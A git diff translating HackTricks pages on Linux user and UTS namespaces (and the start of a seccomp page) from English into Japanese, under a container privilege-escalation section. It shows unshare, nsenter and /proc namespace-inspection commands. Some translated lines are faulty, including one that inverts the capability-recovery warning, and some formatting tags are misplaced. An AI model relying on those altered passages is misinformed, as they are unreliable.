diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 04f4335a5..28e4dc64c 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -1,101 +1,87 @@ -# User Namespace +# ユーザーネームスペース
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Information +## 基本情報 -A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically. +ユーザーネームスペースは、Linuxカーネルの機能であり、**ユーザーとグループIDのマッピングの分離**を提供します。これにより、各ユーザーネームスペースは、**独自のユーザーとグループIDのセット**を持つことができます。この分離により、同じユーザーとグループIDを共有していても、異なるユーザーネームスペースで実行されるプロセスは、**異なる特権と所有権**を持つことができます。 -User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system. +ユーザーネームスペースは、特にコンテナ化において有用です。各コンテナは、独自のユーザーとグループIDの独立したセットを持つことができるため、コンテナとホストシステムの間のセキュリティと分離が向上します。 -### How it works: +### 動作原理: -1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**. -2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace. -3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**. -4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace. +1. 新しいユーザーネームスペースが作成されると、**空のユーザーとグループIDのマッピングセット**で開始されます。これは、新しいユーザーネームスペースで実行されるプロセスが、**ネームスペースの外部に特権を持たない**ことを意味します。 +2. IDマッピングは、新しいネームスペース内のユーザーとグループIDと、親(またはホスト)ネームスペース内のIDとの間で確立することができます。これにより、新しいネームスペース内のプロセスが、親ネームスペース内のユーザーとグループIDに対応する特権と所有権を持つことができます。ただし、IDマッピングは特定の範囲やIDのサブセットに制限することもできるため、新しいネームスペース内のプロセスに付与される特権を細かく制御することができます。 +3. ユーザーネームスペース内では、**プロセスはネームスペース内の操作に対して完全なルート特権(UID 0)を持つ**一方で、ネームスペースの外部では制限された特権を持ちます。これにより、**コンテナはホストシステム上で完全なルート特権を持たずに、独自のネームスペース内でルートのような機能を実行**することができます。 +4. プロセスは、`setns()`システムコールを使用してネームスペース間を移動したり、`unshare()`または`clone()`システムコールを使用して新しいネームスペースを作成したりすることができます。プロセスが新しいネームスペースに移動したり作成したりすると、そのネームスペースに関連付けられたユーザーとグループIDのマッピングを使用し始めます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なるネームスペースの作成 #### CLI - ```bash sudo unshare -U [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報の正確で隔離されたビューを持つことが保証されます。
-Error: bash: fork: Cannot allocate memory +エラー:bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +`-f`を指定せずに前の行を実行すると、このエラーが発生します。\ +このエラーは、新しい名前空間でPID 1プロセスが終了することによって引き起こされます。 +bashが実行されると、bashはいくつかの新しいサブプロセスをフォークして何かを行います。-fを指定せずにunshareを実行すると、bashは現在の「unshare」プロセスと同じPIDを持ちます。現在の「unshare」プロセスはunshareシステムコールを呼び出し、新しいPID名前空間を作成しますが、現在の「unshare」プロセス自体は新しいPID名前空間にありません。これはLinuxカーネルの望ましい動作です:プロセスAが新しい名前空間を作成すると、プロセスA自体は新しい名前空間に配置されず、プロセスAのサブプロセスのみが新しい名前空間に配置されます。したがって、次のコマンドを実行すると: ``` unshare -p /bin/bash ``` +unshareプロセスは/bin/bashを実行し、/bin/bashはいくつかのサブプロセスをフォークします。bashの最初のサブプロセスは新しい名前空間のPID 1になり、ジョブが完了するとサブプロセスは終了します。したがって、新しい名前空間のPID 1が終了します。 -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +PID 1プロセスには特別な機能があります。孤児プロセスの親プロセスになる必要があります。ルート名前空間のPID 1プロセスが終了すると、カーネルはパニックになります。サブ名前空間のPID 1プロセスが終了すると、Linuxカーネルはdisable\_pid\_allocation関数を呼び出し、その名前空間のPIDNS\_HASH\_ADDINGフラグをクリアします。Linuxカーネルが新しいプロセスを作成するとき、カーネルはalloc\_pid関数を呼び出して名前空間内でPIDを割り当てます。PIDNS\_HASH\_ADDINGフラグが設定されていない場合、alloc\_pid関数は-ENOMEMエラーを返します。これが「Cannot allocate memory」エラーが発生する理由です。 +この問題は、'-f'オプションを使用することで解決できます: ``` unshare -fp /bin/bash ``` +もし`-f`オプションを使ってunshareを実行すると、unshareは新しいpid namespaceを作成した後に新しいプロセスをフォークします。そして新しいプロセスで`/bin/bash`を実行します。新しいプロセスは新しいpid namespaceのpid 1となります。その後、bashはいくつかのサブプロセスをフォークしてジョブを実行します。bash自体が新しいpid namespaceのpid 1であるため、そのサブプロセスは問題なく終了することができます。 -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)から転載
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +ユーザー名前空間を使用するには、Dockerデーモンを**`--userns-remap=default`**オプションで起動する必要があります(Ubuntu 14.04では、`/etc/default/docker`を変更してから`sudo service docker restart`を実行することで行えます)。 -To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) - -### Check which namespace is your process in - +### プロセスがどの名前空間にあるかを確認する ```bash ls -l /proc/self/ns/user lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]' ``` - -It's possible to check the user map from the docker container with: - +Dockerコンテナからユーザーマップを確認することができます。以下のコマンドを使用します。 ```bash -cat /proc/self/uid_map - 0 0 4294967295 --> Root is root in host - 0 231072 65536 --> Root is 231072 userid in host +cat /proc/self/uid_map +0 0 4294967295 --> Root is root in host +0 231072 65536 --> Root is 231072 userid in host ``` - -Or from the host with: - +または、ホストから次のコマンドを実行します: ```bash -cat /proc//uid_map +cat /proc//uid_map ``` - -### Find all User namespaces +### すべてのユーザー名前空間を見つける {% code overflow="wrap" %} ```bash @@ -103,24 +89,23 @@ sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep ``` +{% code %} + +### ユーザー名前空間に入る + {% endcode %} - -### Enter inside a User namespace - ```bash nsenter -U TARGET_PID --pid /bin/bash ``` +また、rootユーザーでない限り、他のプロセスの名前空間には入ることができません。また、`/proc/self/ns/user`のようなディスクリプタがない場合、他の名前空間に入ることはできません。 -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`). - -### Create new User namespace (with mappings) +### 新しいユーザー名前空間の作成(マッピング付き) {% code overflow="wrap" %} ```bash unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user] ``` {% endcode %} - ```bash # Container sudo unshare -U /bin/bash @@ -130,17 +115,15 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody ps -ef | grep bash # The user inside the host is still root, not nobody root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` +### 権限の回復 -### Recovering Capabilities +ユーザー名前空間の場合、**新しいユーザー名前空間が作成されると、その名前空間に入るプロセスには完全なセットの権限が付与されます**。これらの権限により、プロセスは特権操作(ファイルシステムのマウント、デバイスの作成、ファイルの所有権の変更など)を実行できますが、**ユーザー名前空間のコンテキスト内でのみ**です。 -In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**. - -For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces. +例えば、ユーザー名前空間内で`CAP_SYS_ADMIN`の権限を持っている場合、通常この権限が必要な操作(ファイルシステムのマウントなど)をユーザー名前空間のコンテキスト内で実行できます。この権限を使用して行う操作は、ホストシステムや他の名前空間には影響を与えません。 {% hint style="warning" %} -Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container. +したがって、新しいプロセスを新しいユーザー名前空間内に取得しても、**すべての権限が復元されるわけではありません**(CapEff: 000001ffffffffff)。実際には、**名前空間に関連する権限のみを使用できます**(例えば、マウント)。そのため、これだけではDockerコンテナからの脱出には十分ではありません。 {% endhint %} - ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash @@ -165,15 +148,14 @@ Probando: 0x140 . . . Error Probando: 0x141 . . . Error Probando: 0x143 . . . Error ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index a6d762bb5..effefda7b 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -1,82 +1,82 @@ -# UTS Namespace +# UTS ネームスペース
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に PR を提出**してください。
-## Basic Information +## 基本情報 -A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname. +UTS (UNIX Time-Sharing System) ネームスペースは、Linux カーネルの機能であり、**ホスト名**と**NIS** (Network Information Service) ドメイン名の**2つのシステム識別子を分離**します。この分離により、各 UTS ネームスペースは、独自のホスト名と NIS ドメイン名を持つことができます。これは、各コンテナが独立したシステムとして表示される必要があるコンテナ化シナリオで特に有用です。 -### How it works: +### 動作原理: -1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. +1. 新しい UTS ネームスペースが作成されると、**親ネームスペースからホスト名と NIS ドメイン名のコピー**で開始されます。つまり、作成時に新しいネームスペースは親と同じ識別子を**共有**します。ただし、ネームスペース内でホスト名または NIS ドメイン名を変更すると、他のネームスペースには影響しません。 +2. UTS ネームスペース内のプロセスは、`sethostname()` および `setdomainname()` システムコールを使用して、ホスト名と NIS ドメイン名を**変更**することができます。これらの変更はネームスペース内にローカルであり、他のネームスペースやホストシステムには影響しません。 +3. プロセスは、`setns()` システムコールを使用してネームスペース間を移動したり、`unshare()` または `clone()` システムコールを使用して新しいネームスペースを作成したりすることができます。プロセスが新しいネームスペースに移動するか作成すると、そのネームスペースに関連付けられたホスト名と NIS ドメイン名が使用されるようになります。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なるネームスペースの作成 #### CLI - ```bash sudo unshare -u [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報の正確で隔離されたビューを持つことが保証されます。
-Error: bash: fork: Cannot allocate memory +エラー:bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +`-f`を指定せずに前の行を実行すると、このエラーが発生します。\ +このエラーは、新しい名前空間でPID 1プロセスが終了することによって引き起こされます。 +bashが実行されると、bashはいくつかの新しいサブプロセスをフォークして何かを行います。-fを指定せずにunshareを実行すると、bashのPIDは現在の「unshare」プロセスと同じになります。現在の「unshare」プロセスはunshareシステムコールを呼び出し、新しいPID名前空間を作成しますが、現在の「unshare」プロセス自体は新しいPID名前空間にありません。これはLinuxカーネルの望ましい動作です:プロセスAが新しい名前空間を作成すると、プロセスA自体は新しい名前空間に配置されず、プロセスAのサブプロセスのみが新しい名前空間に配置されます。したがって、次のコマンドを実行すると: ``` unshare -p /bin/bash ``` +unshareプロセスは/bin/bashを実行し、/bin/bashはいくつかのサブプロセスをフォークします。bashの最初のサブプロセスは新しい名前空間のPID 1になり、ジョブが完了するとサブプロセスは終了します。したがって、新しい名前空間のPID 1が終了します。 -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +PID 1プロセスには特別な機能があります。孤児プロセスの親プロセスになる必要があります。ルート名前空間のPID 1プロセスが終了すると、カーネルはパニックになります。サブ名前空間のPID 1プロセスが終了すると、Linuxカーネルはdisable\_pid\_allocation関数を呼び出し、その名前空間のPIDNS\_HASH\_ADDINGフラグをクリアします。Linuxカーネルが新しいプロセスを作成するとき、カーネルはalloc\_pid関数を呼び出して名前空間内でPIDを割り当てます。PIDNS\_HASH\_ADDINGフラグが設定されていない場合、alloc\_pid関数は-ENOMEMエラーを返します。これが「Cannot allocate memory」エラーが発生する理由です。 +この問題は、'-f'オプションを使用することで解決できます: ``` unshare -fp /bin/bash ``` +もし'unshare'を'-f'オプションと共に実行すると、'unshare'は新しいpid名前空間を作成した後に新しいプロセスをフォークします。そして、新しいプロセスで'/bin/bash'を実行します。新しいプロセスは新しいpid名前空間のpid 1となります。その後、bashはいくつかのサブプロセスをフォークしてジョブを実行します。bash自体が新しいpid名前空間のpid 1であるため、そのサブプロセスは問題なく終了することができます。 -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - -
+[https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)から転載 #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +### 自分のプロセスがどの名前空間にあるかを確認する -### Check which namespace is your process in +To check which namespace your process is in, you can use the following command: +プロセスがどの名前空間にあるかを確認するには、次のコマンドを使用します。 + +```bash +$ cat /proc/$$/ns/uts +``` + +This command will display the UTS namespace of your process. The output will be a file descriptor, which represents the namespace. + +このコマンドは、プロセスのUTS名前空間を表示します。出力は、名前空間を表すファイルディスクリプタです。 ```bash ls -l /proc/self/ns/uts lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' ``` - -### Find all UTS namespaces +### すべてのUTS名前空間を見つける {% code overflow="wrap" %} ```bash @@ -84,31 +84,29 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep ``` +{% code %} + +### UTS ネームスペースに入る + {% endcode %} - -### Enter inside an UTS namespace - ```bash nsenter -u TARGET_PID --pid /bin/bash ``` +また、rootユーザーでない限り、他のプロセスの名前空間には入ることができません。また、`/proc/self/ns/uts`のようなディスクリプタがない場合、他の名前空間に入ることはできません。 -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/uts`). - -### Change hostname - +### ホスト名の変更 ```bash unshare -u /bin/bash hostname newhostname # Hostname won't be changed inside the host UTS ns ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/seccomp.md b/linux-hardening/privilege-escalation/docker-security/seccomp.md index 9d3de9944..dd532b571 100644 --- a/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -4,28 +4,28 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? 